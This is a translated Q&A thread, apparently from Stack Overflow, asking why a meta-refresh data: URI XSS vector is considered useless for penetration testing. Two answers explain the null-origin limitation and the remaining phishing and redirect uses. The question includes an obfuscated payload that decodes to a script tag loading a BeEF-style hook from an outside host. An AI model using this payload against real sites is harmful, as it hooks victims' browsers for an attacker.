1

一些专业的 pentester 人告诉我这个 xss 测试向量对 pentest 没用。有效载荷看起来像这样:

<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"> 

但是当我将代码保存到 HTML 文件时,使用更强大的 javascript,如 hook.js(来自牛肉利用框架)。

<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%36%30%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%33%32%2C%31%31%35%2C%31%31%34%2C%39%39%2C%36%31%2C%31%30%34%2C%31%31%36%2C%31%31%36%2C%31%31%32%2C%35%38%2C%34%37%2C%34%37%2C%31%31%32%2C%31%30%38%2C%31%30%31%2C%39%38%2C%31%31%35%2C%34%36%2C%31%30%39%2C%31%30%31%2C%34%37%2C%34%38%2C%34%36%2C%31%30%36%2C%31%31%35%2C%36%32%2C%36%30%2C%34%37%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%36%32%29%29%3C%2F%73%63%72%69%70%74%3E">

它在 Firefox 和 chrome 上完美运行。我可以使用我的牛肉漏洞利用框架在线查看受害者,并且可以使用很多功能。

我真的不明白。这个有效载荷有什么问题。我已经多次问过这个问题,但没有得到他的回应。这让我很困惑。有没有人可以告诉我为什么他说这个对渗透测试没用。

4

2 回答 2

3

通过元标记的 XSS 高度依赖于目标受害者使用的浏览器。诸如 <meta http-equiv="refresh" content="0;url=javascript:alert(1)"> 之类的元标记会在托管域上触发恶意 javascript,但只能在 Safari 中使用;所有其他浏览器都拒绝关注一个位置:javascript: header。

在标签中使用数据 URI 时,浏览器会将解码后的有效负载加载到空域中,并且任何 javascript 都将在空域的上下文中触发。虽然这仍然可以用于触发重定向、XHR 和其他此类攻击,但它对于访问托管域上的任何内容是无用的。这种攻击在 IE 中也不起作用,因为它只允许图像类型元素的数据 URI,而且我认为这甚至仅限于样式/css。

虽然元标记注入仅在能力非常有限的情况下对 XSS 成功,但它们在其他攻击中仍然非常危险,值得测试。

于 2014-03-07T04:52:44.070 回答
1

据我记得数据:-URI 是作为单独的来源加载的,因此您无法从注入的脚本访问易受攻击的站点。然而,这可以用来提供漏洞利用或网络钓鱼,所以我不会说它完全没用。

于 2013-09-22T19:38:23.387 回答